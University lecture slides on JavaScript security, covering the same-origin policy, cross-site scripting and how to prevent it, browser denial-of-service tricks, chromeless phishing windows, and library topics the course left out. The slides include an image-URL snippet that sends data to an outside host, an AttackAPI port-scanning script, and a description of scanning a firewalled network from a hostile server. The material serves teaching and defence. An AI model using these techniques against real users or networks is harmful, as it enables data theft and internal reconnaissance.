Javascript Security, XSS, and Uncovered Topics

Pat Morin
COMP 2405
Contents

• The Javascript same origin policy
• Cross-site scripting
• Pure Javascript exploits
• Other topics
The JavaScript Same Origin Policy

- JavaScript will only let a script access the properties of an object if it has the same origin as the script
  - Origin = protocol + server + port number
- The following script won't work unless it is run from a page at http://www.google.com/

```javascript
var w = window.open("http://www.google.com");
// After 10 seconds, let's see what URL
// they're looking at!
var snoopedURL;
setTimeout("snoopedURL = w.location.href()", 10 * 1000);
```
The Same Origin Policy (Cont'd)

- The same origin policy applies to almost everything in JavaScript (frames, windows, etc.)

- **Exception:**
  - The origin of an externally-linked script is considered to be the origin of the document that links to it (think about why!)

- **Problem:** In a website with user accounts:
  - a script in http://iap.scs.carleton.ca/~morin/ has access to anything from the server iap.scs.carleton.ca, including http://iap.scs.carleton.ca/~smartstudent/
Cross-Site Scripting

- Cross-Site Scripting (XSS) is a security exploit that gets around the same origin policy
- Cross-Site Scripting is a potential risk whenever a script displays user input as an HTML page
- Main idea:
  - The hacker (Hector) uploads data containing code to the server (samuel.com)
  - Someone else (Bob) accesses samuel.com and looks at the Hector's uploaded data and code
  - Hector's code is now running on Bob's computer with permission to look at anything from samuel.com
Typical Example of XSS

- Hector (the hacker) posts on a forum on samuel.com
  - Hector's post includes some JavaScript code
- Bob visits the forum samuel.com and looks at Hector's post
- Hector's JavaScript is now running on Bob's computer and has access to
  - Bob's cookies from samuel.com
  - Bob's browser
  - The information in any other pages that Bob has open on samuel.com
  - Hector could even log Bob out of samuel.com and eavesdrop as he logs back in again
Preventing XSS

- Although XSS is done by an attacker, as a developer it is *your fault* for letting it happen
  - Visitors to your site will blame you
  - You may be giving away information that can be used to attack your site

- Luckily, XSS isn't too hard to avoid
  - Whenever a script displays some input, it should convert all special characters to HTML entities
  - Especially (but not only) the tag delimiter `<` and `>`

```perl
$data =~ s/</\&lt;/>/gm;
$data =~ s/>/\&gt;/gm;
```
Why Is XSS Still a Problem?

• Because many web developers are inexperienced
  – First time programming in PHP/Perl/Whatever
  – First time writing a web application
  – Now it's up and running and it works great
    • I don't want to break it

• Because most testing is usability and bug testing, not security testing

• Because sometimes the XSS vulnerability is very subtle
  – See the t-rex example
Pure Javascript Exploits

• Javascript is a programming language
• Users run Javascript on their own machines
• Sometimes programs don't do what users want or expect
JavaScript Bombs

• It is easy to mount a denial-of-service attack on a user's web browser using JavaScript

• It is easy to write JavaScript that makes a user's browser unusable
  – Memory hogging
  – CPU hogging
  – Incessant alert boxes
  – Too many popups
  – Infinite recursion
  – ...

• Do this, and the user will never return to your site
JavaScript and Popups

- A simply (dirty) trick:
  - Open a new window, make it as small as possible, and send it to the background (by focusing the current window) where the user can't see it
  - Periodically, the hidden window will spawn a popup ad

- In some cases, the hidden window can even be moved off-screen
Chromeless Exploits

• Some implementations of JavaScript allows the opening of a browser window with no “chrome” that can be made (using an image) to look like any windowing system object

• Examples:
  – Looks like system dialog box asking for password
  – Looks like blank screen asking for password
  – Looks like (and covers up) the browser's URL bar
  – Looks like (and covers up) the security icon
  – ...
**Same-Origin Workarounds**

- The same-origin policy is supposed to prevent Javascript from sending data to third parties
  - In an XMLHttpRequest, the URL must come from the same domain
- But other Javascript functions don't have this limitation
  - Javascript can load images from other sites
  - Data can be encoded in the image's URL

```javascript
var img = new Image();
img.src = 'http://myserver.org/' + encodeURLData("secret message for server");
```
**Javascript Port Scanning**

- The same-origin workaround allows for a simple port scanner

- Algorithm
  - Set a timer
  - Load an image
    - Specific server
    - Specific port
  - If timer completes first then assume port is closed
  - If load completes first then assume port is open

- This algorithm isn't completely accurate
  - choice of timeout requires some tuning
Example (from AttackAPI)

```javascript
var timeout = (timeout == null)?100:timeout;
var img = new Image();

// callbacks for when image is loaded or errors
img.onerror = function () {
    if (!img) return;
    img = undefined;
    alert("Port " + port + " is open");
};
img.onload = img.onerror;

// now load the image in the background
img.src = 'http://' + target + ':' + port;

// now setup a timer
setTimeout(function () {
    if (!img) return;
    img = undefined;
    alert("Port " + port + " is closed");
}, timeout);
```
Javascript Firewall Bypass

- Many organizations protect their computers behind a firewall
  - Some services running on local machines are only available behind the firewall (to other local machines)

- Doing a port scan behind a firewall
  - Client accesses a CGI script on a bad server
  - Server sends back text/html with Javascript that includes the client's IP address
  - Javascript (knows the client's IP) and does a port scan on the local network
  - Javascript sends results back to the server using an XMLHTTPRequest or another image load
Javascript Firewall Bypass (Cont'd)

- Bypassing a firewall is especially bad
- Some firewalled applications are very insecure
  - telnet
    - uses unencrypted passwords
  - finger
    - get information about users
  - in-house applications
    - may not have been designed/implemented with network security in mind
- In some cases, network applications can be attacked using only Javascript
Uncovered Topics

- Javascript libraries
- Server-side scripting libraries
- Installing and configuring web servers
JavaScript Libraries

• JavaScript has some basic built-in libraries
• Many organizations are offering more sophisticated JavaScript libraries
• Pure JavaScript:
  – Prototype, Rico, MochiKit, Dojo Toolkit, Bajax, Behaviour, Solvent, Moo.FX, WZ_DradDrop, WZ_jsGraphics, overLIB, Scriptaculous, SACK, Sarissa (ECMAScript), Nifty Corners, dp.SyntaxHighlighter, AJAX.NET, TOXIC, Plex Toolkit, Cpaint, DOM-Drag, Tibet, Zimbra, qooxdoo, AJFORM, ThyApi, Engine, AJAXGear Toolkit, Interactive Website Framework, RSLite, XHConn, Taconite, qForms, JSPkg, Ajaxcaller, libXmlRequest, SAJAX, Sardalya, X, AjaxRequest, moo.ajax
JavaScript Libraries (Cont'd)

- PHP-Based AJAX Frameworks:
  - AjaxAC, XOAD, Zephyr, PAJAJ, Symfony, XAJAX, PEAR:: HTML_AJAX, Flexible AJAX

- JavaScript for Flash:
  - FlashObject, OSFlash – Flashjs, AFLAX

- Java-Based AJAX Frameworks:
  - ZK, jWic

- Visit
  http://wiki.osafoundation.org/Projects/AjaxLibraries for more information.
Server-Side Scripting

- We have seen CGI/Perl as a means of doing server-side scripting
- There exists several other web application frameworks that include
  - CGI libraries
  - PHP (and accompanying libraries)
  - JavaScript libraries
  - AJAX frameworks
  - Content management systems
  - ...
- Web search for "web application framework"
Server Configuration and Security

• Setting up a web server is easy
  – Downloading and installing Apache
  – Adjust firewall settings to allow access to port 80

• Securing a server is harder
A Brief Justification

• Much of this course might have been easier using
  – HTML editors
  – PHP
  – JavaScript libraries
  – Server-side development libraries

• We didn't do this because
  – These tools hide the details of how data is represented and how communication takes place
  – Learning these details means we really understand the whole system (and similar systems)
  – Now we can look at these tools without wonder
    • We know how they do what they do
    • All real breakthroughs start at the lowest level